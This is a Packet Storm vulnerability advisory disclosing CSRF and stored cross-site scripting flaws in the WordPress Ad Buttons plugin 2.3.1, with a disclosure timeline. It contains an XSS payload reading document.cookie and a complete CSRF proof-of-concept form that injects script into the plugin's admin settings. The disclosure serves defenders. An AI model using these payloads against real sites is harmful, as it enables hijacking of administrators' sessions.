what you don't know can hurt you

WordPress Ad Buttons 2.3.1 CSRF / Cross Site Scripting

WordPress Ad Buttons 2.3.1 CSRF / Cross Site Scripting
Posted May 7, 2015
Authored by Kaustubh G. Padwad

WordPress Ad Buttons plugin version 2.3.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | e852b9ba527e9d29868c110941c97701

WordPress Ad Buttons 2.3.1 CSRF / Cross Site Scripting

Change Mirror Download
================================================================
CSRF/Stored XSS Vulnerability in Ad Buttons Plugin
================================================================


. contents:: Table Of Content

Overview
========

* Title :CSRF and Stored XSS Vulnerability in Ad Buttons Wordpress Plugin
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/ad-buttons/
* Severity: HIGH
* Version Affected: Version 2.3.1 and mostly prior to it
* Version Tested : Version 2.3.1
* version patched:

Description
===========

Vulnerable Parameter
--------------------

* Your Ad Here' url

About Vulnerability
-------------------
This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

Vulnerability Class
===================
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)
=========================

After installing the plugin

1. Goto Dashboard --> Ad button --> Setting

2. Insert this payload ## ">><script>+-+-1-+-+alert(document.cookie)</script> ## Into above mention Vulnerable parameter Save settings and see XSS in action

3. Visit Ad Button settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

CSRF POC Code
=============

<html>
<body>
<form action="http://127.0.0.1/wp/wp-admin/admin.php?page=ad-buttons-settings" method="POST">
<input type="hidden" name="ab_dspcnt" value="1" />
<input type="hidden" name="ab_title" value="" />
<input type="hidden" name="ab_target" value="bnk" />
<input type="hidden" name="ab_powered" value="1" />
<input type="hidden" name="ab_count" value="1" />
<input type="hidden" name="ab_yaht" value="pag" />
<input type="hidden" name="ab_yourad" value="44" />
<input type="hidden" name="ab_yahurl" value="">><script>+-+-1-+-+alert(6)</script>" />
<input type="hidden" name="ab_adsense_fixed" value="1" />
<input type="hidden" name="ab_adsense_pos" value="1" />
<input type="hidden" name="ab_adsense_pubid" value="pub-" />
<input type="hidden" name="ab_adsense_channel" value="" />
<input type="hidden" name="ab_adsense_corners" value="rc:0" />
<input type="hidden" name="ab_adsense_col_border" value="#" />
<input type="hidden" name="ab_adsense_col_title" value="#" />
<input type="hidden" name="ab_adsense_col_bg" value="#" />
<input type="hidden" name="ab_adsense_col_txt" value="#" />
<input type="hidden" name="ab_adsense_col_url" value="#" />
<input type="hidden" name="ab_width" value="<img" />
<input type="hidden" name="ab_padding" value="<img" />
<input type="hidden" name="Submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Mitigation
==========
Plugin Closed

Change Log
==========
Plugin Closed

Disclosure
==========
18-April-2015 Reported to Developer
Plugin Closed
8-May-2015 Public
credits
=======
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh (at) me (dot) com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close